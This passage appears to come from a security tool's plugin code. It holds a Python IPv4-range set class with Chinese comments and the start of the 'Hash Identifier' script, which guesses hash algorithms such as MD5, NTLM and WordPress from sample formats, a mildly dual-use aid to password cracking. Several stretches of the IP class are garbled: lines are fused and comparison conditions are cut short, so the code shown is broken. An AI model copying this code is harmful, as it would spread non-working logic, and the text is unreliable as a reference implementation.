"%s.%s.%s.%s"%(record[0],record[1],record[2],record[3]) ) #如果 res[i] 不在 0~255 之内,ip2int 会报异常。 67 | end = self.ip2int( "%s.%s.%s.%s"%(record[4],record[5],record[6],record[7]) ) 68 | else: 69 | filter = re.compile(r"^(\d+)\.(\d+)\.(\d+)\.(\d+)-(\d+)$") 70 | res = filter.findall(ip_range) 71 | if res and res[0]: 72 | #192.168.2.97-101 IP区间 73 | record = res[0] 74 | start= self.ip2int( "%s.%s.%s.%s"%(record[0],record[1],record[2],record[3]) ) 75 | end = self.ip2int( "%s.%s.%s.%s"%(record[0],record[1],record[2],record[4]) ) 76 | else: 77 | filter = re.compile(r"^(\d+)\.(\d+)\.(\d+)-(\d+)$") 78 | res = filter.findall(ip_range) 79 | if res and res[0]: 80 | #192.168.2-4 C类网段区间 81 | record = res[0] 82 | start= self.ip2int( "%s.%s.%s.0"%(record[0],record[1],record[2]) ) 83 | end = self.ip2int( "%s.%s.%s.255"%(record[0],record[1],record[3]) ) 84 | else: 85 | filter = re.compile(r"^(\d+)\.(\d+)-(\d+)$") 86 | res = filter.findall(ip_range) 87 | if res and res[0]: 88 | #192.1-254 B类网段区间 89 | record = res[0] 90 | start= self.ip2int( "%s.%s.0.0"%(record[0],record[1]) ) 91 | end = self.ip2int( "%s.%s.255.255"%(record[0],record[2]) ) 92 | 93 | if start==-1 or end==-1: 94 | raise RuntimeError("invalid argument: %s"%ip_range) 95 | 96 | else: 97 | #192.168.2.97 98 | ip=ip_range 99 | start= self.ip2int(ip) 100 | end = self.ip2int(ip) 101 | 102 | return (start, end) 103 | 104 | def addRange(self, iv, R): 105 | left, right = R 106 | 107 | if not iv: 108 | iv.append((left, right)) 109 | return 110 | 111 | p = bisect.bisect_left(iv, (left, right)) #根据left判断插入位置,如果有重复数据,插在左边。这里确定了左边界 112 | p -= 1 113 | 114 | if p >= 0: 115 | if iv[p][1] >= right: 116 | return 117 | 118 | if iv[p][1] >= left - 1: 119 | left = iv[p][0] 120 | del iv[p] 121 | p -= 1 122 | 123 | while True: 124 | p += 1 125 | if p >= len(iv) or iv[p][1] > right: #跳过 (left, right) 覆盖的节点,寻找右边界 126 | break 127 | del iv[p] 128 | p -= 1 129 | 130 | if p < len(iv) and iv[p][0] <= right + 1: #纠正右边界 131 | right = iv[p][1] 132 | del iv[p] 133 | 134 | iv.insert(p, (left, right)) 135 | 136 | def mergeRanges(self, iv=[], ranges=[]): 137 | for R in ranges: 138 | self.addRange(iv, R) 139 | return iv 140 | 141 | def values(self, type="str"): 142 | lst = [] 143 | if "str"==type: 144 | for _ in self.lst_ips_num: 145 | lst += ["%s-%s"%(self.int2ip(_[0]), self.int2ip(_[1]))] 146 | elif "int"==type: 147 | lst = self.lst_ips_num[:] 148 | return lst 149 | 150 | def __str__(self): 151 | return "\n".join(self.values()) 152 | 153 | def __len__(self): 154 | num = 0 155 | for _ in self.lst_ips_num: 156 | num += _[1]-_[0]+1 157 | return num 158 | 159 | def __eq__(self, other): # == 160 | other = IPs(other) 161 | if len(self)!=len(other): 162 | return False 163 | 164 | bFlag = True 165 | for i in range(0, len(self.lst_ips_num)): 166 | l = self.lst_ips_num[i] 167 | r = other.lst_ips_num[i] 168 | if l[0]==r[0] and l[1]==r[1]: 169 | continue 170 | else: 171 | bFlag = False 172 | break 173 | 174 | return bFlag 175 | 176 | def __or__(self, other): # | 177 | other = IPs(other) 178 | 179 | # 两个对象的lst_ips_num都是有序的,把一个往另一个里面插入即可 180 | lst_a = self.values(type="int") 181 | lst_b = other.values(type="int") 182 | 183 | obj = IPs() 184 | obj.lst_ips_num = self.mergeRanges(lst_a, lst_b) 185 | return obj 186 | 187 | def __and__(self, other): # & 188 | other = IPs(other) 189 | A = self-other 190 | B = other-self 191 | return (self|other)-(A|B) 192 | 193 | def __sub__(self, other): # - 194 | other = IPs(other) 195 | lst0 = self.values(type="int") 196 | lst1 = other.values(type="int") 197 | 198 | lst = [] 199 | for l in lst0: 200 | for r in lst1: 201 | if r[1]=l[0] and r[1]<=l[1]: # ---..... 204 | (c, d) = (r[1]+1, l[1]) 205 | if c<=d: 206 | l = (c, d) 207 | else: 208 | l = None 209 | break 210 | elif r[0]>=l[0] and r[1]<=l[1]: # .---... 211 | (a, b) = (l[0], r[0]-1) 212 | if a<=b: 213 | lst += [(a, b)] 214 | 215 | (c, d) = (r[1]+1, l[1]) 216 | if c<=d: 217 | l = (c, d) 218 | else: 219 | l = None 220 | break 221 | elif r[0]>=l[0] and r[0]<=l[1] and r[1]>l[1]: # .....--- 222 | (a, b) = (l[0], r[0]-1) 223 | if a<=b: 224 | lst += [(a, b)] 225 | l = None 226 | break 227 | elif r[0]>l[1]: # ....... --- 228 | lst += [(l[0], l[1])] 229 | l = None 230 | break 231 | elif r[0]<=l[0] and r[1]>=l[1]: # ---------------- 232 | l = None 233 | break 234 | 235 | if l and l[0]<=l[1]: 236 | lst += [(l[0], l[1])] 237 | l = None 238 | 239 | return IPs(lst) 240 | 241 | def __iter__(self): 242 | return self 243 | 244 | def __next__(self): 245 | return self.next() 246 | 247 | def next(self): #python2 248 | for i in range(self.lsti, len(self.lst_ips_num)): 249 | lst = self.lst_ips_num[i] 250 | if self.ipilst[1]: 257 | self.lsti += 1 258 | return val 259 | 260 | self.lsti = 0 261 | self.ipi = -1 262 | raise StopIteration 263 | 264 | def contain(self, *args): 265 | return (self|IPs(*args))==self 266 | 267 | def hasIP(self, ip): #使用二分法查找IP 268 | if not self.lst_ips_num: 269 | return False 270 | 271 | num = self.ip2int(ip) 272 | i = 0 273 | j = len(self.lst_ips_num)-1 274 | while 1: 275 | k = int( (i+j)/2 ) 276 | if num=self.lst_ips_num[k][0] and num<=self.lst_ips_num[k][1]: 279 | return True 280 | elif num>self.lst_ips_num[k][1]: 281 | i=k+1 282 | 283 | if i>j: 284 | return False 285 | 286 | @staticmethod 287 | def ip2int(ip): 288 | if IPs.isIPv4(ip): 289 | return struct.unpack("!I", socket.inet_aton(ip))[0] 290 | else: 291 | raise RuntimeError("invalid IPv4: %s"%ip) 292 | 293 | @staticmethod 294 | def int2ip(ip_num): 295 | return socket.inet_ntoa(struct.pack("!I", ip_num)) 296 | 297 | @staticmethod 298 | def isIPv4(ip): 299 | IP_PATTERN = r"^((0|[1-9]\d?|[0-1]\d{2}|2[0-4]\d|25[0-5])\.){3}(0|[1-9]\d?|[0-1]\d{2}|2[0-4]\d|25[0-5])$" 300 | if not ip: 301 | return False 302 | filter = re.compile(IP_PATTERN, re.I) 303 | return True if filter.match(ip.strip()) else False 304 | -------------------------------------------------------------------------------- /plugin/_lib/hash-id.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | # Hash Identifier 4 | # By Zion3R 5 | # www.Blackploit.com 6 | # Root@Blackploit.com 7 | 8 | from builtins import input 9 | from sys import argv, exit 10 | 11 | version = 1.2 12 | 13 | logo=''' ######################################################################### 14 | # __ __ __ ______ _____ # 15 | # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ # 16 | # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ # 17 | # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ # 18 | # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ # 19 | # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ # 20 | # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v'''+str(version)+''' # 21 | # By Zion3R # 22 | # www.Blackploit.com # 23 | # Root@Blackploit.com # 24 | #########################################################################''' 25 | 26 | algorithms={"102020":"ADLER-32", "102040":"CRC-32", "102060":"CRC-32B", "101020":"CRC-16", "101040":"CRC-16-CCITT", "104020":"DES(Unix)", "101060":"FCS-16", "103040":"GHash-32-3", "103020":"GHash-32-5", "115060":"GOST R 34.11-94", "109100":"Haval-160", "109200":"Haval-160(HMAC)", "110040":"Haval-192", "110080":"Haval-192(HMAC)", "114040":"Haval-224", "114080":"Haval-224(HMAC)", "115040":"Haval-256", "115140":"Haval-256(HMAC)", "107080":"Lineage II C4", "106025":"Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))", "102080":"XOR-32", "105060":"MD5(Half)", "105040":"MD5(Middle)", "105020":"MySQL", "107040":"MD5(phpBB3)", "107060":"MD5(Unix)", "107020":"MD5(Wordpress)", "108020":"MD5(APR)", "106160":"Haval-128", "106165":"Haval-128(HMAC)", "106060":"MD2", "106120":"MD2(HMAC)", "106040":"MD4", "106100":"MD4(HMAC)", "106020":"MD5", "106080":"MD5(HMAC)", "106140":"MD5(HMAC(Wordpress))", "106029":"NTLM", "106027":"RAdmin v2.x", "106180":"RipeMD-128", "106185":"RipeMD-128(HMAC)", "106200":"SNEFRU-128", "106205":"SNEFRU-128(HMAC)", "106220":"Tiger-128", "106225":"Tiger-128(HMAC)", "106240":"md5($pass.$salt)", "106260":"md5($salt.'-'.md5($pass))", "106280":"md5($salt.$pass)", "106300":"md5($salt.$pass.$salt)", "106320":"md5($salt.$pass.$username)", "106340":"md5($salt.md5($pass))", "106360":"md5($salt.md5($pass).$salt)", "106380":"md5($salt.md5($pass.$salt))", "106400":"md5($salt.md5($salt.$pass))", "106420":"md5($salt.md5(md5($pass).$salt))", "106440":"md5($username.0.$pass)", "106460":"md5($username.LF.$pass)", "106480":"md5($username.md5($pass).$salt)", "106500":"md5(md5($pass))", "106520":"md5(md5($pass).$salt)", "106540":"md5(md5($pass).md5($salt))", "106560":"md5(md5($salt).$pass)", "106580":"md5(md5($salt).md5($pass))", "106600":"md5(md5($username.$pass).$salt)", "106620":"md5(md5(md5($pass)))", "106640":"md5(md5(md5(md5($pass))))", "106660":"md5(md5(md5(md5(md5($pass)))))", "106680":"md5(sha1($pass))", "106700":"md5(sha1(md5($pass)))", "106720":"md5(sha1(md5(sha1($pass))))", "106740":"md5(strtoupper(md5($pass)))", "109040":"MySQL5 - SHA-1(SHA-1($pass))", "109060":"MySQL 160bit - SHA-1(SHA-1($pass))", "109180":"RipeMD-160(HMAC)", "109120":"RipeMD-160", "109020":"SHA-1", "109140":"SHA-1(HMAC)", "109220":"SHA-1(MaNGOS)", "109240":"SHA-1(MaNGOS2)", "109080":"Tiger-160", "109160":"Tiger-160(HMAC)", "109260":"sha1($pass.$salt)", "109280":"sha1($salt.$pass)", "109300":"sha1($salt.md5($pass))", "109320":"sha1($salt.md5($pass).$salt)", "109340":"sha1($salt.sha1($pass))", "109360":"sha1($salt.sha1($salt.sha1($pass)))", "109380":"sha1($username.$pass)", "109400":"sha1($username.$pass.$salt)", "1094202":"sha1(md5($pass))", "109440":"sha1(md5($pass).$salt)", "109460":"sha1(md5(sha1($pass)))", "109480":"sha1(sha1($pass))", "109500":"sha1(sha1($pass).$salt)", "109520":"sha1(sha1($pass).substr($pass,0,3))", "109540":"sha1(sha1($salt.$pass))", "109560":"sha1(sha1(sha1($pass)))", "109580":"sha1(strtolower($username).$pass)", "110020":"Tiger-192", "110060":"Tiger-192(HMAC)", "112020":"md5($pass.$salt) - Joomla", "113020":"SHA-1(Django)", "114020":"SHA-224", "114060":"SHA-224(HMAC)", "115080":"RipeMD-256", "115160":"RipeMD-256(HMAC)", "115100":"SNEFRU-256", "115180":"SNEFRU-256(HMAC)", "115200":"SHA-256(md5($pass))", "115220":"SHA-256(sha1($pass))", "115020":"SHA-256", "115120":"SHA-256(HMAC)", "116020":"md5($pass.$salt) - Joomla", "116040":"SAM - (LM_hash:NT_hash)", "117020":"SHA-256(Django)", "118020":"RipeMD-320", "118040":"RipeMD-320(HMAC)", "119020":"SHA-384", "119040":"SHA-384(HMAC)", "120020":"SHA-256", "121020":"SHA-384(Django)", "122020":"SHA-512", "122060":"SHA-512(HMAC)", "122040":"Whirlpool", "122080":"Whirlpool(HMAC)"} 27 | 28 | # hash.islower() minusculas 29 | # hash.isdigit() numerico 30 | # hash.isalpha() letras 31 | # hash.isalnum() alfanumerico 32 | 33 | def CRC16(hash): 34 | hs='4607' 35 | if len(hash)==len(hs) and hash.isalpha()==False and hash.isalnum()==True: 36 | jerar.append("101020") 37 | def CRC16CCITT(hash): 38 | hs='3d08' 39 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 40 | jerar.append("101040") 41 | def FCS16(hash): 42 | hs='0e5b' 43 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 44 | jerar.append("101060") 45 | 46 | def CRC32(hash): 47 | hs='b33fd057' 48 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 49 | jerar.append("102040") 50 | def ADLER32(hash): 51 | hs='0607cb42' 52 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 53 | jerar.append("102020") 54 | def CRC32B(hash): 55 | hs='b764a0d9' 56 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 57 | jerar.append("102060") 58 | def XOR32(hash): 59 | hs='0000003f' 60 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 61 | jerar.append("102080") 62 | 63 | def GHash323(hash): 64 | hs='80000000' 65 | if len(hash)==len(hs) and hash.isdigit()==True and hash.isalpha()==False and hash.isalnum()==True: 66 | jerar.append("103040") 67 | def GHash325(hash): 68 | hs='85318985' 69 | if len(hash)==len(hs) and hash.isdigit()==True and hash.isalpha()==False and hash.isalnum()==True: 70 | jerar.append("103020") 71 | 72 | def DESUnix(hash): 73 | hs='ZiY8YtDKXJwYQ' 74 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False: 75 | jerar.append("104020") 76 | 77 | def MD5Half(hash): 78 | hs='ae11fd697ec92c7c' 79 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 80 | jerar.append("105060") 81 | def MD5Middle(hash): 82 | hs='7ec92c7c98de3fac' 83 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 84 | jerar.append("105040") 85 | def MySQL(hash): 86 | hs='63cea4673fd25f46' 87 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 88 | jerar.append("105020") 89 | 90 | def DomainCachedCredentials(hash): 91 | hs='f42005ec1afe77967cbc83dce1b4d714' 92 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 93 | jerar.append("106025") 94 | def Haval128(hash): 95 | hs='d6e3ec49aa0f138a619f27609022df10' 96 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 97 | jerar.append("106160") 98 | def Haval128HMAC(hash): 99 | hs='3ce8b0ffd75bc240fc7d967729cd6637' 100 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 101 | jerar.append("106165") 102 | def MD2(hash): 103 | hs='08bbef4754d98806c373f2cd7d9a43c4' 104 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 105 | jerar.append("106060") 106 | def MD2HMAC(hash): 107 | hs='4b61b72ead2b0eb0fa3b8a56556a6dca' 108 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 109 | jerar.append("106120") 110 | def MD4(hash): 111 | hs='a2acde400e61410e79dacbdfc3413151' 112 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 113 | jerar.append("106040") 114 | def MD4HMAC(hash): 115 | hs='6be20b66f2211fe937294c1c95d1cd4f' 116 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 117 | jerar.append("106100") 118 | def MD5(hash): 119 | hs='ae11fd697ec92c7c98de3fac23aba525' 120 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 121 | jerar.append("106020") 122 | def MD5HMAC(hash): 123 | hs='d57e43d2c7e397bf788f66541d6fdef9' 124 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 125 | jerar.append("106080") 126 | def MD5HMACWordpress(hash): 127 | hs='3f47886719268dfa83468630948228f6' 128 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 129 | jerar.append("106140") 130 | def NTLM(hash): 131 | hs='cc348bace876ea440a28ddaeb9fd3550' 132 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 133 | jerar.append("106029") 134 | def RAdminv2x(hash): 135 | hs='baea31c728cbf0cd548476aa687add4b' 136 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 137 | jerar.append("106027") 138 | def RipeMD128(hash): 139 | hs='4985351cd74aff0abc5a75a0c8a54115' 140 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 141 | jerar.append("106180") 142 | def RipeMD128HMAC(hash): 143 | hs='ae1995b931cf4cbcf1ac6fbf1a83d1d3' 144 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 145 | jerar.append("106185") 146 | def SNEFRU128(hash): 147 | hs='4fb58702b617ac4f7ca87ec77b93da8a' 148 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 149 | jerar.append("106200") 150 | def SNEFRU128HMAC(hash): 151 | hs='59b2b9dcc7a9a7d089cecf1b83520350' 152 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 153 | jerar.append("106205") 154 | def Tiger128(hash): 155 | hs='c086184486ec6388ff81ec9f23528727' 156 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 157 | jerar.append("106220") 158 | def Tiger128HMAC(hash): 159 | hs='c87032009e7c4b2ea27eb6f99723454b' 160 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 161 | jerar.append("106225") 162 | def md5passsalt(hash): 163 | hs='5634cc3b922578434d6e9342ff5913f7' 164 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 165 | jerar.append("106240") 166 | def md5saltmd5pass(hash): 167 | hs='245c5763b95ba42d4b02d44bbcd916f1' 168 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 169 | jerar.append("106260") 170 | def md5saltpass(hash): 171 | hs='22cc5ce1a1ef747cd3fa06106c148dfa' 172 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 173 | jerar.append("106280") 174 | def md5saltpasssalt(hash): 175 | hs='469e9cdcaff745460595a7a386c4db0c' 176 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 177 | jerar.append("106300") 178 | def md5saltpassusername(hash): 179 | hs='9ae20f88189f6e3a62711608ddb6f5fd' 180 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 181 | jerar.append("106320") 182 | def md5saltmd5pass(hash): 183 | hs='aca2a052962b2564027ee62933d2382f' 184 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 185 | jerar.append("106340") 186 | def md5saltmd5passsalt(hash): 187 | hs='de0237dc03a8efdf6552fbe7788b2fdd' 188 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 189 | jerar.append("106360") 190 | def md5saltmd5passsalt(hash): 191 | hs='5b8b12ca69d3e7b2a3e2308e7bef3e6f' 192 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 193 | jerar.append("106380") 194 | def md5saltmd5saltpass(hash): 195 | hs='d8f3b3f004d387086aae24326b575b23' 196 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 197 | jerar.append("106400") 198 | def md5saltmd5md5passsalt(hash): 199 | hs='81f181454e23319779b03d74d062b1a2' 200 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 201 | jerar.append("106420") 202 | def md5username0pass(hash): 203 | hs='e44a60f8f2106492ae16581c91edb3ba' 204 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 205 | jerar.append("106440") 206 | def md5usernameLFpass(hash): 207 | hs='654741780db415732eaee12b1b909119' 208 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 209 | jerar.append("106460") 210 | def md5usernamemd5passsalt(hash): 211 | hs='954ac5505fd1843bbb97d1b2cda0b98f' 212 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 213 | jerar.append("106480") 214 | def md5md5pass(hash): 215 | hs='a96103d267d024583d5565436e52dfb3' 216 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 217 | jerar.append("106500") 218 | def md5md5passsalt(hash): 219 | hs='5848c73c2482d3c2c7b6af134ed8dd89' 220 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 221 | jerar.append("106520") 222 | def md5md5passmd5salt(hash): 223 | hs='8dc71ef37197b2edba02d48c30217b32' 224 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 225 | jerar.append("106540") 226 | def md5md5saltpass(hash): 227 | hs='9032fabd905e273b9ceb1e124631bd67' 228 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 229 | jerar.append("106560") 230 | def md5md5saltmd5pass(hash): 231 | hs='8966f37dbb4aca377a71a9d3d09cd1ac' 232 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 233 | jerar.append("106580") 234 | def md5md5usernamepasssalt(hash): 235 | hs='4319a3befce729b34c3105dbc29d0c40' 236 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 237 | jerar.append("106600") 238 | def md5md5md5pass(hash): 239 | hs='ea086739755920e732d0f4d8c1b6ad8d' 240 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 241 | jerar.append("106620") 242 | def md5md5md5md5pass(hash): 243 | hs='02528c1f2ed8ac7d83fe76f3cf1c133f' 244 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 245 | jerar.append("106640") 246 | def md5md5md5md5md5pass(hash): 247 | hs='4548d2c062933dff53928fd4ae427fc0' 248 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 249 | jerar.append("106660") 250 | def md5sha1pass(hash): 251 | hs='cb4ebaaedfd536d965c452d9569a6b1e' 252 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 253 | jerar.append("106680") 254 | def md5sha1md5pass(hash): 255 | hs='099b8a59795e07c334a696a10c0ebce0' 256 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 257 | jerar.append("106700") 258 | def md5sha1md5sha1pass(hash): 259 | hs='06e4af76833da7cc138d90602ef80070' 260 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 261 | jerar.append("106720") 262 | def md5strtouppermd5pass(hash): 263 | hs='519de146f1a658ab5e5e2aa9b7d2eec8' 264 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 265 | jerar.append("106740") 266 | 267 | def LineageIIC4(hash): 268 | hs='0x49a57f66bd3d5ba6abda5579c264a0e4' 269 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True and hash[0:2].find('0x')==0: 270 | jerar.append("107080") 271 | def MD5phpBB3(hash): 272 | hs='$H$9kyOtE8CDqMJ44yfn9PFz2E.L2oVzL1' 273 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$H$')==0: 274 | jerar.append("107040") 275 | def MD5Unix(hash): 276 | hs='$1$cTuJH0Ju$1J8rI.mJReeMvpKUZbSlY/' 277 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$1$')==0: 278 | jerar.append("107060") 279 | def MD5Wordpress(hash): 280 | hs='$P$BiTOhOj3ukMgCci2juN0HRbCdDRqeh.' 281 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$P$')==0: 282 | jerar.append("107020") 283 | 284 | def MD5APR(hash): 285 | hs='$apr1$qAUKoKlG$3LuCncByN76eLxZAh/Ldr1' 286 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash[0:4].find('$apr')==0: 287 | jerar.append("108020") 288 | 289 | def Haval160(hash): 290 | hs='a106e921284dd69dad06192a4411ec32fce83dbb' 291 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 292 | jerar.append("109100") 293 | def Haval160HMAC(hash): 294 | hs='29206f83edc1d6c3f680ff11276ec20642881243' 295 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 296 | jerar.append("109200") 297 | def MySQL5(hash): 298 | hs='9bb2fb57063821c762cc009f7584ddae9da431ff' 299 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 300 | jerar.append("109040") 301 | def MySQL160bit(hash): 302 | hs='*2470c0c06dee42fd1618bb99005adca2ec9d1e19' 303 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:1].find('*')==0: 304 | jerar.append("109060") 305 | def RipeMD160(hash): 306 | hs='dc65552812c66997ea7320ddfb51f5625d74721b' 307 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 308 | jerar.append("109120") 309 | def RipeMD160HMAC(hash): 310 | hs='ca28af47653b4f21e96c1235984cb50229331359' 311 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 312 | jerar.append("109180") 313 | def SHA1(hash): 314 | hs='4a1d4dbc1e193ec3ab2e9213876ceb8f4db72333' 315 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 316 | jerar.append("109020") 317 | def SHA1HMAC(hash): 318 | hs='6f5daac3fee96ba1382a09b1ba326ca73dccf9e7' 319 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 320 | jerar.append("109140") 321 | def SHA1MaNGOS(hash): 322 | hs='a2c0cdb6d1ebd1b9f85c6e25e0f8732e88f02f96' 323 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 324 | jerar.append("109220") 325 | def SHA1MaNGOS2(hash): 326 | hs='644a29679136e09d0bd99dfd9e8c5be84108b5fd' 327 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 328 | jerar.append("109240") 329 | def Tiger160(hash): 330 | hs='c086184486ec6388ff81ec9f235287270429b225' 331 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 332 | jerar.append("109080") 333 | def Tiger160HMAC(hash): 334 | hs='6603161719da5e56e1866e4f61f79496334e6a10' 335 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 336 | jerar.append("109160") 337 | def sha1passsalt(hash): 338 | hs='f006a1863663c21c541c8d600355abfeeaadb5e4' 339 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 340 | jerar.append("109260") 341 | def sha1saltpass(hash): 342 | hs='299c3d65a0dcab1fc38421783d64d0ecf4113448' 343 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 344 | jerar.append("109280") 345 | def sha1saltmd5pass(hash): 346 | hs='860465ede0625deebb4fbbedcb0db9dc65faec30' 347 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 348 | jerar.append("109300") 349 | def sha1saltmd5passsalt(hash): 350 | hs='6716d047c98c25a9c2cc54ee6134c73e6315a0ff' 351 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 352 | jerar.append("109320") 353 | def sha1saltsha1pass(hash): 354 | hs='58714327f9407097c64032a2fd5bff3a260cb85f' 355 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 356 | jerar.append("109340") 357 | def sha1saltsha1saltsha1pass(hash): 358 | hs='cc600a2903130c945aa178396910135cc7f93c63' 359 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 360 | jerar.append("109360") 361 | def sha1usernamepass(hash): 362 | hs='3de3d8093bf04b8eb5f595bc2da3f37358522c9f' 363 | if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True: 364 | jerar.append("109380") 365 | def sha1usernamepasssalt(hash): 366 | hs='00025111b3c4d0ac1635558ce2393f77e94770c5' 367 | if 